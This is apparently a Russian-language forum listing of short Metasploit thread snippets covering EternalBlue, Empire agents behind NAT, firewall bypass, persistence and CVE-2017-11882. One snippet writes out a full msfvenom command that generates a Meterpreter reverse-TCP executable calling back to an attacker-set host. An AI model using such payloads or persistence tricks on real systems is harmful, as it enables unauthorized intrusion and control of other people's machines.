metasploit

Друзья , прошу помощи ! Не получается схватить агента с целевого пк , который находится за NATом. Слушатель Empire использует http-захват , а это поставило меня в тупик. Привык работать с TCP-ревёрсингом в метасплоит , использую NGROK для проброса портов. А вот в Empire не хватает тямы всё...

Актуальная версия на 2025 год: Metasploit: повышение привилегий через кражу токенов Всем посетителям форума, доброго времени дня. Сегодня я решил осветить один из встроенных модулей в metasploit framework, о котором мало кто знает и мало кто пользуется, но на самом деле данный модуль позволяет...

Друзья! Скажите пожалуйста , каким образом можно использовать эксплоиты с данным раширением в Metasploit и в какой среде ,помимо метасплоит , можно их юзать?

Всем здравствуйте. Совсем недавно начал углубленно изучать\читать про эксплоиты. Ведь именно они залог удачного взлома! И хотелось бы, так сказать, узнать о них еще больше. Недавно поставил на свою виртуальную машину windows7, и попробовал получить к ней доступ с помощью эксплоита eternalblue...

Основа: Кали или Арч Цель: машина на Windows XP, Windows 7, Windows server. Столкнулся с проблемой, что эксплойты не всегда создают ссесию, хотя система девственна и без намека на АВ. Проблема решается отключением брендмаузера, но как его обойти? Раньше таких проблем не испытывал.

Как в метасплоите закрепиться в системе(свой вредонос в автозагрузку занести)? Может модуль есть какой-нибудь?

Когда в метасплоите пытаюсь взаимодействовать с файлами на русском языке, вылетает ошибка, мол нету такого файла, как пофиксить?

У меня шиндовс 8.1, создаю shell такой командой: msfvenom -p windows/meterpreter/reverse_tcp LHOST=ВашАйпи LPORT=4444 -f exe > /root/shell.exe Закидываю на хост, сессия прилетает, такие команды типо cd pwd ifconfig работают, а все остальные нет, не работает даже cat пишет: [-] stdapi_fs_stat...

Добрый день. Один доллар (@OneDollar) показал пример эксплуатации уязвимости через Empire Powershell CVE-2017-11882 или Взлом с помощью безобидного документа Мы рассмотрим альтернативный вариант через Metasploit: Скачаем и перенесём експлоит wget...